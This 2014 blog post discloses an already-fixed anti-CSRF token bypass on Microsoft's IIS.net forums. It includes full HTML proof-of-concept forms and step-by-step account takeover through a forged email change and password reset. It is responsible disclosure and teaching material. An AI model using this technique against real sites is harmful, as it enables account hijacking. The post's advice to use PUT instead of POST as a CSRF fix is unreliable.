Saturday, April 19, 2014

Microsofts IIS.net Anti-CSRF Token Bypass

Microsoft's IIS.net CSRF Vulnerability

I want to share my another finding on Microsoft IIS.net which I have reported to them in August 2013.

While researching and working on bug bounties I have found that we can bypass Anti-CSRF token validation even when it is getting validated on the server-side and can execute CSRF. And after that using the CSRF we can compromise the victims account by change email id of any users account on that site to the attackers email id an then we can use the forget password option to reset the victims account password.

The challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that the Anti-CSRF Token was getting validated on the server-side. So, I tried to find the weakness in its validation by various known ways like I tried to re-use one user Anti-CSRF Token on another user account, then I tried to use the already used token then I tried to check whether token is getting validated on not and after that I tried to check that the token validation is based on full length check but none of them worked as the Token was getting validated on server-side. 

Now only 2 options left 1st option is that I have to somehow predict or guess the token and 2nd options is that I have to find the weakness in the token validation itself so I tried to analyze the token pattern, randomness, complexity, full length based validation etc but once again none worked :P so then something again striked why not check any random value as Anti-CSRF token by decreasing its length one-by-one without the same length as the current Anti-CSRF Token is having.

So for that I created 2 dummy account for testing purpose on IIS.net and then crafted a CSRF payload as mentioned below which is containing a random value as Anti-CSRF token which is having a length(70 Chars) as the current Anti-CSRF Token. 

Then I continuously tried to send the CSRF request with the random values of 70 Chars as Anti-CSRF Token in decreasing order. 

So 1st CSRF request was containing Anti-CSRF Token value of 70 Chars next will 69 then 68 so like that I tried approx 40 Requests which all failed as the token was not getting validated on server-side but as I sent the 41th Request with the random value as Anti-CSRF Token with the length of 30 Chars then the request got executed as the Anti-CSRF Token got validated on server-side and guess what it worked :D.


Steps to execute this attack are as following:


1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

<html>
  <body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

 2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj to ovomyQnYPxvPXfdxrjO1JEce3zPvGn with 30 Chars length this modified value will be used as an Anti-CSRF Token.

Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 30 Chars Random Value):

<html>
  <body>
    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
      <input type="hidden" name="PostSortOrder" value="0" />
      <input type="hidden" name="EnableDisplayInMemberList" value="true" />
      <input type="hidden" name="EnableDisplayInMemberList" value="false" />
      <input type="hidden" name="EnableUserAvatars" value="true" />
      <input type="hidden" name="EnableUserAvatars" value="false" />
      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />
      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />
      <input type="hidden" name="EnableAvatar" value="true" />
      <input type="hidden" name="EnableAvatar" value="false" />
      <input type="hidden" name="edit-upload" value="" />
      <input type="hidden" name="Name" value="" />
      <input type="hidden" name="Location" value="" />
      <input type="hidden" name="Occupation" value="" />
      <input type="hidden" name="Interests" value="" />
      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />
      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />
      <input type="hidden" name="Twitter" value="ajaysinghnegi" />
      <input type="hidden" name="Bio" value="" />
      <input type="hidden" name="Signature" value="" />
      <input type="hidden" name="EnableEmail" value="true" />
      <input type="hidden" name="EnableEmail" value="false" />
      <input type="hidden" name="EnableHtmlEmail" value="true" />
      <input type="hidden" name="EnableHtmlEmail" value="false" />
      <input type="hidden" name="EnableThreadTracking" value="false" />
      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />
      <input type="hidden" name="MsnIM" value="test" />
      <input type="hidden" name="AolIM" value="testing" />
      <input type="hidden" name="YahooIM" value="test" />
      <input type="hidden" name="IcqIM" value="testingg" />
      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />
      <input type="hidden" name="FavoriteUsersShared" value="false" />
      <input type="hidden" name="FavoritePostsShared" value="false" />
      <input type="hidden" name="FavoriteForumsShared" value="false" />
      <input type="hidden" name="submit" value="Save All Changes" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


3. Then send this crafted CSRF payload code as a link to the victim.

4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.


Rootcause:

Anti-CSRF Token __RequestVerificationToken and its values CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj validation was based on Partial Length based validation(i.e Anti-CSRF Token 1st 30 Chars Length was only getting checked on Server-Side).


Impact:

All Microsoft IIS.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.


Recommendation:

Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.

CSRF token shall be properly validated on server-side instead of only Partial Length Based Validation.

It shall be expired after use and it shall be 1 time useable.

It should be generated randomly on each request.

Instead of Post method PUT method shall be used.


The vulnerability was mitigated by Microsoft Security Team in 14 days.

So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.

Suggestions and Feedbacks are welcome.

No comments:

Post a Comment

You Have Successfully Posted the Message.